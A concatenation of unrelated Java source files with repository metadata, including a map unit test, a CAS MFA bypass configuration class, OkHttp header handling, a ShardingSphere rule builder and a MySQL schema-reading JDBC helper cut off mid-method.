Assert.assertEquals(5, this.asciiMap.getMapWeight());
}
@Test
public void dataNotOk() {
Map empty = new Map();
Assert.assertNull(empty.getMap());
Assert.assertEquals(0, empty.getMapHeight());
Assert.assertEquals(0, empty.getMapWeight());
}
@Test
public void hashTableToLine() {
Assert.assertEquals(0, this.asciiMap.hash(0, 0));
Assert.assertEquals(24, this.asciiMap.hash(4, 4));
Assert.assertEquals(20, this.asciiMap.hash(0, 4));
Assert.assertEquals(17, this.asciiMap.hash(2, 3));
Assert.assertEquals(14, this.asciiMap.hash(4, 2));
Assert.assertEquals(5, this.asciiMap.hash(0, 1));
Assert.assertEquals(11, this.asciiMap.hash(1, 2));
Assert.assertEquals(3, this.asciiMap.hash(3, 0));
}
@Test
public void valuesOfMovement() {
Assert.assertFalse(1 != this.asciiMap.getValueForMovement(0,0, 1, 0));
Assert.assertFalse(1 != this.asciiMap.getValueForMovement(2,4, 2, 3));
Assert.assertFalse(Math.sqrt(2) != this.asciiMap.getValueForMovement(0,0, 1, -1));
Assert.assertFalse(Math.sqrt(2) != this.asciiMap.getValueForMovement(2,4, 3, 3));
Assert.assertFalse(0 != this.asciiMap.getValueForMovement(2,4, 0, 0));
}
@Test
public void whereCordinates() {
Assert.assertTrue(this.asciiMap.isInsideMap(0, 0));
Assert.assertTrue(this.asciiMap.isInsideMap(4, 4));
Assert.assertTrue(this.asciiMap.isInsideMap(2, 3));
Assert.assertTrue(this.asciiMap.isInsideMap(4, 1));
Assert.assertTrue(this.asciiMap.isInsideMap(1, 1));
}
@Test
public void whereCordinates2() {
Assert.assertFalse(this.asciiMap.isInsideMap(-1, 0));
Assert.assertFalse(this.asciiMap.isInsideMap(3, 5));
Assert.assertFalse(this.asciiMap.isInsideMap(10, 1));
Assert.assertFalse(this.asciiMap.isInsideMap(4, -1));
Assert.assertFalse(this.asciiMap.isInsideMap(5, 2));
}
@Test
public void whereCordinates3() {
Assert.assertFalse(this.asciiMap.isInsideMap(-1, -1));
Assert.assertFalse(this.asciiMap.isInsideMap(10, 6));
Assert.assertFalse(this.asciiMap.isInsideMap(2, 5));
Assert.assertFalse(this.asciiMap.isInsideMap(-4, 0));
Assert.assertFalse(this.asciiMap.isInsideMap(12, 8));
}
@Test
public void estimates() {
Assert.assertFalse(1 != this.asciiMap.getAproxDistance(0, 0, 1, 0));
Assert.assertFalse((3 + (Math.sqrt(2) - 1)) != this.asciiMap.getAproxDistance(1, 2, 6, 3));
Assert.assertFalse(0 != this.asciiMap.getAproxDistance(0, 0, 0, 0));
Assert.assertFalse((2 + (Math.sqrt(2) - 1) * 2) != this.asciiMap.getAproxDistance(7, 5, 5, 7));
Assert.assertFalse((1 + (Math.sqrt(2) - 1)) != this.asciiMap.getAproxDistance(6, 5, 3, 2));
}
@Test
public void estimates2() {
Assert.assertFalse((9 + (Math.sqrt(2) - 1)) != this.asciiMap.getAproxDistance(3, 12, 8, 9));
Assert.assertFalse((15 + (Math.sqrt(2) - 1) * 8) != this.asciiMap.getAproxDistance(5, 20, 1, 9));
Assert.assertFalse((5 + (Math.sqrt(2) - 1) * 3) != this.asciiMap.getAproxDistance(5, 8, 3, 8));
Assert.assertFalse((17 + (Math.sqrt(2) - 1) * 7) != this.asciiMap.getAproxDistance(7, 0, 17, 0));
Assert.assertFalse((9 + (Math.sqrt(2) - 1) * 2) != this.asciiMap.getAproxDistance(4, 13, 19, 17));
}
} |
3e0e5db105798b1e846736bb7badee1f7c18b12e | 3,384 | java | Java | api/cas-server-core-api-configuration-model/src/main/java/org/apereo/cas/configuration/model/support/mfa/MultifactorAuthenticationProviderBypassProperties.java | vlsi/cas | 991991faeb7bf5da86f9d0917151e9d8d176e606 | [
"Apache-2.0"
] | 2 | 2019-05-23T15:45:42.000Z | 2021-07-01T01:49:54.000Z | api/cas-server-core-api-configuration-model/src/main/java/org/apereo/cas/configuration/model/support/mfa/MultifactorAuthenticationProviderBypassProperties.java | vlsi/cas | 991991faeb7bf5da86f9d0917151e9d8d176e606 | [
"Apache-2.0"
] | 3 | 2019-02-26T14:14:14.000Z | 2019-02-26T14:24:06.000Z | api/cas-server-core-api-configuration-model/src/main/java/org/apereo/cas/configuration/model/support/mfa/MultifactorAuthenticationProviderBypassProperties.java | vlsi/cas | 991991faeb7bf5da86f9d0917151e9d8d176e606 | [
"Apache-2.0"
] | 1 | 2020-10-14T04:44:19.000Z | 2020-10-14T04:44:19.000Z | 36.387097 | 103 | 0.739657 | 6,097 | package org.apereo.cas.configuration.model.support.mfa;
import org.apereo.cas.configuration.support.RequiresModule;
import org.apereo.cas.configuration.support.RestEndpointProperties;
import org.apereo.cas.configuration.support.SpringResourceProperties;
import lombok.Getter;
import lombok.Setter;
import java.io.Serializable;
/**
* This is {@link MultifactorAuthenticationProviderBypassProperties}.
*
* @author Misagh Moayyed
* @since 5.2.0
*/
@RequiresModule(name = "cas-server-core-authentication", automated = true)
@Getter
@Setter
public class MultifactorAuthenticationProviderBypassProperties implements Serializable {
private static final long serialVersionUID = -9181362378365850397L;
/**
* Skip multifactor authentication based on designated principal attribute names.
*/
private String principalAttributeName;
/**
* Optionally, skip multifactor authentication based on designated principal attribute values.
*/
private String principalAttributeValue;
/**
* Skip multifactor authentication based on designated authentication attribute names.
*/
private String authenticationAttributeName;
/**
* Optionally, skip multifactor authentication based on designated authentication attribute values.
*/
private String authenticationAttributeValue;
/**
* Skip multifactor authentication depending on form of primary authentication execution.
* Specifically, skip multifactor if the a particular authentication handler noted by its name
* successfully is able to authenticate credentials in the primary factor.
*/
private String authenticationHandlerName;
/**
* Skip multifactor authentication depending on method/form of primary authentication execution.
* Specifically, skip multifactor if the authentication method attribute collected as part of
* authentication metadata matches a certain value.
*/
private String authenticationMethodName;
/**
* Skip multifactor authentication depending on form of primary credentials.
* Value must equal the fully qualified class name of the credential type.
*/
private String credentialClassType;
/**
* Skip multifactor authentication if the http request's remote address or host
* matches the value defined here. The value may be specified as a regular expression.
*/
private String httpRequestRemoteAddress;
/**
* Skip multifactor authentication if the http request contains the defined header names.
* Header names may be comma-separated and can be regular expressions; values are ignored.
*/
private String httpRequestHeaders;
/**
* Handle bypass using a Groovy resource.
*/
private Groovy groovy = new Groovy();
/**
* Handle bypass using a REST endpoint.
*/
private Rest rest = new Rest();
@RequiresModule(name = "cas-server-core-authentication", automated = true)
@Getter
@Setter
public static class Groovy extends SpringResourceProperties {
private static final long serialVersionUID = 8079027843747126083L;
}
@RequiresModule(name = "cas-server-core-authentication", automated = true)
@Getter
@Setter
public static class Rest extends RestEndpointProperties {
private static final long serialVersionUID = 1833594332973137011L;
}
}
|
3e0e5f36177f2efbcfd6c7b264a112241c8d3ade | 3,356 | java | Java | Troll Wars/src/nl/knokko/gui/component/dialogue/SimpleDialogueComponent.java | knokko/Troll-Wars | 233151bce34dc215afe7bb62fc0d435801320b95 | [
"MIT"
] | null | null | null | Troll Wars/src/nl/knokko/gui/component/dialogue/SimpleDialogueComponent.java | knokko/Troll-Wars | 233151bce34dc215afe7bb62fc0d435801320b95 | [
"MIT"
] | null | null | null | Troll Wars/src/nl/knokko/gui/component/dialogue/SimpleDialogueComponent.java | knokko/Troll-Wars | 233151bce34dc215afe7bb62fc0d435801320b95 | [
"MIT"
] | null | null | null | 32.582524 | 111 | 0.716925 | 6,098 | /*******************************************************************************
* The MIT License
*
* Copyright (c) 2019 knokko
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*******************************************************************************/
package nl.knokko.gui.component.dialogue;
import nl.knokko.gui.component.AbstractGuiComponent;
import nl.knokko.gui.dialogue.GuiDialogue;
import nl.knokko.gui.keycode.KeyCode;
import nl.knokko.gui.render.GuiRenderer;
import nl.knokko.gui.texture.GuiTexture;
import nl.knokko.main.Game;
import nl.knokko.story.dialogue.SimpleDialoguePart;
import nl.knokko.util.resources.Resources;
import static nl.knokko.shaders.SpecialGuiShader.SPECIAL_GUI_SHADER;
import static nl.knokko.gui.shader.GuiShader.GUI_SHADER;
public class SimpleDialogueComponent extends AbstractGuiComponent {
private final SimpleDialoguePart part;
private final GuiDialogue gui;
private GuiTexture texture;
public SimpleDialogueComponent(SimpleDialoguePart part, GuiDialogue gui) {
this.part = part;
this.gui = gui;
}
@Override
public void init() {
texture = state.getWindow().getTextureLoader().loadTexture(Resources.createDialogueImage(part, null, false));
}
@Override
public void update() {}
@Override
public void render(GuiRenderer renderer) {
SPECIAL_GUI_SHADER.start();
SPECIAL_GUI_SHADER.updateColors();
// This is really funny stuff:
// Even though the GuiRenderer assumes that the normal gui shader is being used, it won't make a
// difference because the special gui shader uses the same data and the lwjgl interface is static
renderer.renderTexture(texture, 0, 0, 1, 1);
SPECIAL_GUI_SHADER.stop();
GUI_SHADER.start();
}
@Override
public void click(float x, float y, int button) {
next();
}
@Override
public void clickOut(int button) {}
@Override
public boolean scroll(float amount) {
return false;
}
@Override
public void keyPressed(int keyCode) {
if (keyCode == KeyCode.KEY_ENTER || keyCode == KeyCode.KEY_SPACE || keyCode == KeyCode.KEY_RIGHT) {
next();
}
}
@Override
public void keyPressed(char character) {}
@Override
public void keyReleased(int keyCode) {}
private void next() {
part.next();
if (gui.getDialogue().current() != part) {
gui.changePart();
}
Game.getWindow().markChange();
}
} |
3e0e5f969b84719d3bc3f94eed3c0260e5949241 | 3,354 | java | Java | src/main/java/com/omniwyse/sms/utils/TimelineDTOOut.java | MadhaviB34/sms-api | 4072510224819758509bad9dcfa6c8f411fac317 | [
"Apache-2.0"
] | null | null | null | src/main/java/com/omniwyse/sms/utils/TimelineDTOOut.java | MadhaviB34/sms-api | 4072510224819758509bad9dcfa6c8f411fac317 | [
"Apache-2.0"
] | null | null | null | src/main/java/com/omniwyse/sms/utils/TimelineDTOOut.java | MadhaviB34/sms-api | 4072510224819758509bad9dcfa6c8f411fac317 | [
"Apache-2.0"
] | null | null | null | 19.056818 | 65 | 0.75641 | 6,099 | package com.omniwyse.sms.utils;
import java.util.Date;
import java.util.List;
public class TimelineDTOOut {
private Long id;
private Long publish;
private String assignmentname;
private String worksheetname;
private String lessondescription;
private String subjectname;
private String tags;
private String status;
private String lessonname;
private Date lessonstartdate;
private Date assignmentduedate;
private Date worksheetduedate;
private Date datefrom;
private Date dateto;
private Date notificationdate;
private List<WorkSheetsDTOOut> worksheets;
private List<AssignmentDTOOut> assignments;
private boolean publishtimeline;
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public Long getPublish() {
return publish;
}
public void setPublish(Long publish) {
this.publish = publish;
}
public String getAssignmentname() {
return assignmentname;
}
public void setAssignmentname(String assignmentname) {
this.assignmentname = assignmentname;
}
public String getWorksheetname() {
return worksheetname;
}
public void setWorksheetname(String worksheetname) {
this.worksheetname = worksheetname;
}
public String getLessondescription() {
return lessondescription;
}
public void setLessondescription(String lessondescription) {
this.lessondescription = lessondescription;
}
public String getSubjectname() {
return subjectname;
}
public void setSubjectname(String subjectname) {
this.subjectname = subjectname;
}
public String getTags() {
return tags;
}
public void setTags(String tags) {
this.tags = tags;
}
public String getStatus() {
return status;
}
public void setStatus(String status) {
this.status = status;
}
public String getLessonname() {
return lessonname;
}
public void setLessonname(String lessonname) {
this.lessonname = lessonname;
}
public Date getLessonstartdate() {
return lessonstartdate;
}
public void setLessonstartdate(Date lessonstartdate) {
this.lessonstartdate = lessonstartdate;
}
public Date getAssignmentduedate() {
return assignmentduedate;
}
public void setAssignmentduedate(Date assignmentduedate) {
this.assignmentduedate = assignmentduedate;
}
public Date getWorksheetduedate() {
return worksheetduedate;
}
public void setWorksheetduedate(Date worksheetduedate) {
this.worksheetduedate = worksheetduedate;
}
public Date getDatefrom() {
return datefrom;
}
public void setDatefrom(Date datefrom) {
this.datefrom = datefrom;
}
public Date getDateto() {
return dateto;
}
public void setDateto(Date dateto) {
this.dateto = dateto;
}
public Date getNotificationdate() {
return notificationdate;
}
public void setNotificationdate(Date notificationdate) {
this.notificationdate = notificationdate;
}
public List<WorkSheetsDTOOut> getWorksheets() {
return worksheets;
}
public void setWorksheets(List<WorkSheetsDTOOut> worksheets) {
this.worksheets = worksheets;
}
public List<AssignmentDTOOut> getAssignments() {
return assignments;
}
public void setAssignments(List<AssignmentDTOOut> assignments) {
this.assignments = assignments;
}
public boolean isPublishtimeline() {
return publishtimeline;
}
public void setPublishtimeline(boolean publishtimeline) {
this.publishtimeline = publishtimeline;
}
}
|
3e0e5fa61228d6666d4caf9d10ebbefd6843470c | 5,568 | java | Java | Rachio_apk/sources/okhttp3/Headers.java | UCLA-ECE209AS-2018W/Liang | f567ae0adc327b669259c94cc49f9b29f50d1038 | [
"BSD-2-Clause"
] | null | null | null | Rachio_apk/sources/okhttp3/Headers.java | UCLA-ECE209AS-2018W/Liang | f567ae0adc327b669259c94cc49f9b29f50d1038 | [
"BSD-2-Clause"
] | null | null | null | Rachio_apk/sources/okhttp3/Headers.java | UCLA-ECE209AS-2018W/Liang | f567ae0adc327b669259c94cc49f9b29f50d1038 | [
"BSD-2-Clause"
] | null | null | null | 33.142857 | 172 | 0.50898 | 6,100 | package okhttp3;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
import okhttp3.internal.Util;
public final class Headers {
private final String[] namesAndValues;
public static final class Builder {
final List<String> namesAndValues = new ArrayList(20);
final Builder addLenient(String line) {
int index = line.indexOf(":", 1);
if (index != -1) {
return addLenient(line.substring(0, index), line.substring(index + 1));
}
if (line.startsWith(":")) {
return addLenient("", line.substring(1));
}
return addLenient("", line);
}
public final Builder add(String name, String value) {
checkNameAndValue(name, value);
return addLenient(name, value);
}
final Builder addLenient(String name, String value) {
this.namesAndValues.add(name);
this.namesAndValues.add(value.trim());
return this;
}
public final Builder removeAll(String name) {
int i = 0;
while (i < this.namesAndValues.size()) {
if (name.equalsIgnoreCase((String) this.namesAndValues.get(i))) {
this.namesAndValues.remove(i);
this.namesAndValues.remove(i);
i -= 2;
}
i += 2;
}
return this;
}
public final Builder set(String name, String value) {
checkNameAndValue(name, value);
removeAll(name);
addLenient(name, value);
return this;
}
private static void checkNameAndValue(String name, String value) {
if (name == null) {
throw new NullPointerException("name == null");
} else if (name.isEmpty()) {
throw new IllegalArgumentException("name is empty");
} else {
int i;
char c;
int length = name.length();
for (i = 0; i < length; i++) {
c = name.charAt(i);
if (c <= ' ' || c >= '') {
throw new IllegalArgumentException(Util.format("Unexpected char %#04x at %d in header name: %s", Integer.valueOf(c), Integer.valueOf(i), name));
}
}
if (value == null) {
throw new NullPointerException("value == null");
}
i = 0;
length = value.length();
while (i < length) {
c = value.charAt(i);
if ((c > '\u001f' || c == '\t') && c < '') {
i++;
} else {
throw new IllegalArgumentException(Util.format("Unexpected char %#04x at %d in %s value: %s", Integer.valueOf(c), Integer.valueOf(i), name, value));
}
}
}
}
public final String get(String name) {
for (int i = this.namesAndValues.size() - 2; i >= 0; i -= 2) {
if (name.equalsIgnoreCase((String) this.namesAndValues.get(i))) {
return (String) this.namesAndValues.get(i + 1);
}
}
return null;
}
public final Headers build() {
return new Headers(this);
}
}
Headers(Builder builder) {
this.namesAndValues = (String[]) builder.namesAndValues.toArray(new String[builder.namesAndValues.size()]);
}
public final String get(String name) {
String[] strArr = this.namesAndValues;
for (int length = strArr.length - 2; length >= 0; length -= 2) {
if (name.equalsIgnoreCase(strArr[length])) {
return strArr[length + 1];
}
}
return null;
}
public final int size() {
return this.namesAndValues.length / 2;
}
public final String name(int index) {
return this.namesAndValues[index << 1];
}
public final String value(int index) {
return this.namesAndValues[(index << 1) + 1];
}
public final List<String> values(String name) {
List<String> result = null;
int size = this.namesAndValues.length / 2;
for (int i = 0; i < size; i++) {
if (name.equalsIgnoreCase(name(i))) {
if (result == null) {
result = new ArrayList(2);
}
result.add(value(i));
}
}
if (result != null) {
return Collections.unmodifiableList(result);
}
return Collections.emptyList();
}
public final Builder newBuilder() {
Builder result = new Builder();
Collections.addAll(result.namesAndValues, this.namesAndValues);
return result;
}
public final boolean equals(Object other) {
return (other instanceof Headers) && Arrays.equals(((Headers) other).namesAndValues, this.namesAndValues);
}
public final int hashCode() {
return Arrays.hashCode(this.namesAndValues);
}
public final String toString() {
StringBuilder result = new StringBuilder();
int size = this.namesAndValues.length / 2;
for (int i = 0; i < size; i++) {
result.append(name(i)).append(": ").append(value(i)).append("\n");
}
return result.toString();
}
}
|
3e0e60223dff04b587731a64c3770e0083cd2d23 | 681 | java | Java | reactor-core/src/main/java/reactor/queue/encoding/ByteArrayCodec.java | wilkinsona/reactor | e94965506dd579a503ee0963f72bcc53b8f6af36 | [
"Apache-2.0"
] | null | null | null | reactor-core/src/main/java/reactor/queue/encoding/ByteArrayCodec.java | wilkinsona/reactor | e94965506dd579a503ee0963f72bcc53b8f6af36 | [
"Apache-2.0"
] | null | null | null | reactor-core/src/main/java/reactor/queue/encoding/ByteArrayCodec.java | wilkinsona/reactor | e94965506dd579a503ee0963f72bcc53b8f6af36 | [
"Apache-2.0"
] | null | null | null | 19.457143 | 82 | 0.684288 | 6,101 | package reactor.queue.encoding;
import reactor.function.Function;
import reactor.io.Buffer;
/**
* @author Jon Brisbin
*/
public class ByteArrayCodec implements Codec<byte[]> {
private final Function<Buffer, byte[]> decoder = new Function<Buffer, byte[]>() {
@Override
public byte[] apply(Buffer buffer) {
return buffer.asBytes();
}
};
private final Function<byte[], Buffer> encoder = new Function<byte[], Buffer>() {
@Override
public Buffer apply(byte[] bytes) {
return Buffer.wrap(bytes);
}
};
@Override
public Function<Buffer, byte[]> decoder() {
return decoder;
}
@Override
public Function<byte[], Buffer> encoder() {
return encoder;
}
}
|
3e0e6241c8525b7bd3feb860cc41f65088b334ed | 2,031 | java | Java | shardingsphere-features/shardingsphere-shadow/shardingsphere-shadow-core/src/main/java/org/apache/shardingsphere/shadow/rule/builder/AlgorithmProvidedShadowRuleBuilder.java | tingting123123/shardingsphere | ac74c098136a5dbead8351950d2fa343d2e91b73 | [
"Apache-2.0"
] | 5,788 | 2020-04-17T14:09:07.000Z | 2022-03-31T08:12:53.000Z | shardingsphere-features/shardingsphere-shadow/shardingsphere-shadow-core/src/main/java/org/apache/shardingsphere/shadow/rule/builder/AlgorithmProvidedShadowRuleBuilder.java | tingting123123/shardingsphere | ac74c098136a5dbead8351950d2fa343d2e91b73 | [
"Apache-2.0"
] | 6,488 | 2020-04-17T14:21:54.000Z | 2022-03-31T21:36:33.000Z | shardingsphere-features/shardingsphere-shadow/shardingsphere-shadow-core/src/main/java/org/apache/shardingsphere/shadow/rule/builder/AlgorithmProvidedShadowRuleBuilder.java | tingting123123/shardingsphere | ac74c098136a5dbead8351950d2fa343d2e91b73 | [
"Apache-2.0"
] | 2,504 | 2020-04-17T14:09:46.000Z | 2022-03-31T12:21:31.000Z | 41.44898 | 178 | 0.788282 | 6,102 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.shardingsphere.shadow.rule.builder;
import org.apache.shardingsphere.infra.rule.ShardingSphereRule;
import org.apache.shardingsphere.infra.rule.builder.schema.SchemaRulesBuilderMaterials;
import org.apache.shardingsphere.infra.rule.builder.schema.SchemaRuleBuilder;
import org.apache.shardingsphere.shadow.algorithm.config.AlgorithmProvidedShadowRuleConfiguration;
import org.apache.shardingsphere.shadow.constant.ShadowOrder;
import org.apache.shardingsphere.shadow.rule.ShadowRule;
import java.util.Collection;
/**
* Algorithm provided shadow rule builder.
*/
public final class AlgorithmProvidedShadowRuleBuilder implements SchemaRuleBuilder<AlgorithmProvidedShadowRuleConfiguration> {
@Override
public ShadowRule build(final SchemaRulesBuilderMaterials materials, final AlgorithmProvidedShadowRuleConfiguration config, final Collection<ShardingSphereRule> builtRules) {
return new ShadowRule(config);
}
@Override
public int getOrder() {
return ShadowOrder.ALGORITHM_PROVIDER_ORDER;
}
@Override
public Class<AlgorithmProvidedShadowRuleConfiguration> getTypeClass() {
return AlgorithmProvidedShadowRuleConfiguration.class;
}
}
|
3e0e624f6dccc084d246ea028c2dff9bc30a9c00 | 2,956 | java | Java | rms-services-and-facades/src/main/java/cz/muni/fi/pa165/skupina06/team02/rms/app/service/ShoppingItemServiceImpl.java | vprusa/rms | dee59390227d6cb2447adb7a1d891549ea6169ad | [
"MIT"
] | null | null | null | rms-services-and-facades/src/main/java/cz/muni/fi/pa165/skupina06/team02/rms/app/service/ShoppingItemServiceImpl.java | vprusa/rms | dee59390227d6cb2447adb7a1d891549ea6169ad | [
"MIT"
] | 10 | 2018-10-25T08:48:43.000Z | 2018-12-19T01:22:12.000Z | rms-services-and-facades/src/main/java/cz/muni/fi/pa165/skupina06/team02/rms/app/service/ShoppingItemServiceImpl.java | vprusa/rms | dee59390227d6cb2447adb7a1d891549ea6169ad | [
"MIT"
] | 1 | 2018-10-25T08:05:59.000Z | 2018-10-25T08:05:59.000Z | 29.56 | 94 | 0.688092 | 6,103 | package cz.muni.fi.pa165.skupina06.team02.rms.app.service;
import cz.muni.fi.pa165.skupina06.team02.rms.app.dao.ShoppingItemDao;
import cz.muni.fi.pa165.skupina06.team02.rms.app.dao.ShoppingListDao;
import cz.muni.fi.pa165.skupina06.team02.rms.app.dao.UserDao;
import cz.muni.fi.pa165.skupina06.team02.rms.app.entity.ShoppingItem;
import cz.muni.fi.pa165.skupina06.team02.rms.app.entity.ShoppingList;
import cz.muni.fi.pa165.skupina06.team02.rms.app.entity.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
/**
* @author Martin Lacko
*/
@Service
public class ShoppingItemServiceImpl implements ShoppingItemService {
@Autowired
private ShoppingItemDao shoppingItemDao;
@Autowired
private ShoppingListDao shoppingListDao;
@Autowired
private UserDao userDao;
@Override
public ShoppingItem createShoppingItem(ShoppingItem item) {
ShoppingList list = item.getShoppingList();
if (list != null) {
list.addItem(item);
}
shoppingItemDao.create(item);
return item;
}
@Override
public ShoppingItem findShoppingItemById(Long id) {
return shoppingItemDao.findById(id);
}
@Override
public List<ShoppingItem> getShoppingItemByUser(User user) {
User u = userDao.findById(user.getId());
if (u != null) {
return u.getItems();
} else {
return null;
}
}
@Override
public List<ShoppingItem> getItemsFromShoppingList(ShoppingList shoppingList) {
ShoppingList list = shoppingListDao.findById(shoppingList.getId());
if (list != null) {
return list.getShoppingItems();
} else {
return null;
}
}
@Override
public List<ShoppingItem> findAllShoppingItems() {
return shoppingItemDao.findAll();
}
@Override
public void setDedicatedBuyer(ShoppingItem shoppingItem, User user) {
shoppingItem.setDedicatedBuyer(user);
}
@Override
public void updateShoppingItem(ShoppingItem shoppingItem) {
shoppingItemDao.update(shoppingItem);
}
@Override
public void deleteShoppingItem(ShoppingItem shoppingItem) {
shoppingItemDao.delete(shoppingItem);
}
@Override
public void addItemToShoppingList(ShoppingItem shoppingItem, ShoppingList shoppingList) {
if (shoppingItem.getShoppingList() != null) {
throw new IllegalArgumentException(String.format(
"Shopping Item %d is already in shopping list", shoppingItem.getId())
);
}
moveItemToShoppingList(shoppingItem, shoppingList);
}
@Override
public void moveItemToShoppingList(ShoppingItem shoppingItem, ShoppingList shoppingList) {
shoppingItem.setShoppingList(shoppingList);
shoppingList.addItem(shoppingItem);
}
}
|
3e0e62f6de2531518c51e76ca8edfcc53be84956 | 9,205 | java | Java | src/main/java/com/echinacoop/lightos/service/dbtool/DBHelper.java | 214175590/lightos | 6cf8b4354382cc3e24b7aab64f1474bcbd91ae6f | [
"MIT"
] | 35 | 2018-12-20T03:12:40.000Z | 2020-04-16T04:35:32.000Z | src/main/java/com/echinacoop/lightos/service/dbtool/DBHelper.java | 214175590/lightos | 6cf8b4354382cc3e24b7aab64f1474bcbd91ae6f | [
"MIT"
] | null | null | null | src/main/java/com/echinacoop/lightos/service/dbtool/DBHelper.java | 214175590/lightos | 6cf8b4354382cc3e24b7aab64f1474bcbd91ae6f | [
"MIT"
] | 9 | 2018-12-27T06:43:33.000Z | 2020-04-16T04:35:35.000Z | 42.224771 | 141 | 0.502227 | 6,104 | package com.echinacoop.lightos.service.dbtool;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Vector;
import com.echinacoop.lightos.domain.dbtool.DbTable;
import com.echinacoop.lightos.domain.dbtool.DbTableColumn;
import com.echinacoop.lightos.domain.dbtool.MysqlDbColumn;
import com.yinsin.utils.CommonUtils;
public class DBHelper {
private DBConnection dbconn = new DBConnection();
public String schema = "";
public String dburl = "";
public String userName = "";
public String pwd = "";
private DBHelper(){}
public static DBHelper init(String dburl, String userName, String pwd){
DBHelper db = new DBHelper();
db.dburl = dburl;
db.userName = userName;
db.pwd = pwd;
db.dbconn.setDbInfo(dburl, userName, pwd);
String url = dburl.substring(0, dburl.indexOf("?"));
db.schema = url.substring(url.lastIndexOf("/") + 1);
Connection c = db.dbconn.getConnection();
if(null != c){
db.dbconn.close();
return db;
}
return null;
}
public List<DbTable> getDbTables() {
List<DbTable> tableList = null;
String sql = "SELECT * FROM information_schema.tables WHERE table_schema = ?";
try {
PreparedStatement stmt = dbconn.getPreparedStatement(sql);
if (stmt != null) {
stmt.setString(1, schema);
ResultSet rs = stmt.executeQuery();
if (rs != null) {
tableList = new ArrayList<DbTable>();
DbTable table = null;
while (rs.next()) {
table = new DbTable();
table.setTableSchema(schema).setTableName(rs.getString("table_name"))
.setTableComment(rs.getString("table_comment"))
.setCreateTime(rs.getTimestamp("create_time"));
tableList.add(table);
}
}
dbconn.close(rs, stmt);
}
} catch (SQLException e) {
e.printStackTrace();
}
return tableList;
}
public List<MysqlDbColumn> getTableColumns(String table) {
List<MysqlDbColumn> columnList = new ArrayList<MysqlDbColumn>();
String sql = "SELECT DISTINCT * FROM information_schema.COLUMNS WHERE table_schema = ? AND table_name = ? ORDER BY ORDINAL_POSITION";
try {
PreparedStatement stmt = dbconn.getPreparedStatement(sql);
if (stmt != null) {
stmt.setString(1, schema);
stmt.setString(2, table);
ResultSet rs = stmt.executeQuery();
if (rs != null) {
MysqlDbColumn column = null;
while (rs.next()) {
column = new MysqlDbColumn();
column.setTableSchema(schema).setTableName(table).setColumnName(rs.getString("column_name"))
.setColumnType(rs.getString("column_type"))
.setColumnDefault(rs.getObject("column_default"))
.setColumnKey(rs.getString("column_key"))
.setColumnComment(rs.getString("column_comment")).setDataType(rs.getString("data_type"))
.setCharacterMaximumLength(rs.getLong("character_maximum_length"))
.setCharacterOctetLength(rs.getLong("character_octet_length"))
.setExtra(rs.getString("extra")).setIsNullable(rs.getString("is_nullable"))
.setPrivileges(rs.getString("privileges"))
.setOrdinalPosition(rs.getInt("ordinal_position"));
columnList.add(column);
}
}
dbconn.close(rs, stmt);
}
} catch (SQLException e) {
e.printStackTrace();
}
return columnList;
}
public Map<String, List<DbTableColumn>> getMutilTableColumns() {
Map<String, List<DbTableColumn>> tableMap = new HashMap<String, List<DbTableColumn>>();
String sql = "SELECT DISTINCT * FROM information_schema.COLUMNS WHERE table_schema = ? AND table_name in ("
+ "SELECT table_name FROM information_schema.tables WHERE table_schema = ?"
+ ") ORDER BY table_name, ORDINAL_POSITION";
try {
PreparedStatement stmt = dbconn.getPreparedStatement(sql);
if (stmt != null) {
stmt.setString(1, schema);
stmt.setString(2, schema);
ResultSet rs = stmt.executeQuery();
if (rs != null) {
MysqlDbColumn column = null;
List<DbTableColumn> columnList = null;
String tempName = "", tname = "";;
while (rs.next()) {
column = new MysqlDbColumn();
tname = rs.getString("table_name");
if(!tempName.equals(tname)){
if(columnList != null){
tableMap.put(tempName, columnList);
}
tempName = tname;
columnList = new ArrayList<DbTableColumn>();
}
column.setTableSchema(schema)
.setTableName(tname)
.setColumnName(rs.getString("column_name"))
.setColumnType(rs.getString("column_type"))
.setColumnDefault(rs.getObject("column_default"))
.setColumnKey(rs.getString("column_key"))
.setColumnComment(rs.getString("column_comment"))
.setDataType(rs.getString("data_type"))
.setCharacterMaximumLength(rs.getLong("character_maximum_length"))
.setCharacterOctetLength(rs.getLong("character_octet_length"))
.setExtra(rs.getString("extra"))
.setIsNullable(rs.getString("is_nullable"))
.setPrivileges(rs.getString("privileges"))
.setOrdinalPosition(rs.getInt("ordinal_position"));
columnList.add(column);
}
if(columnList != null){
tableMap.put(tempName, columnList);
}
}
dbconn.close(rs, stmt);
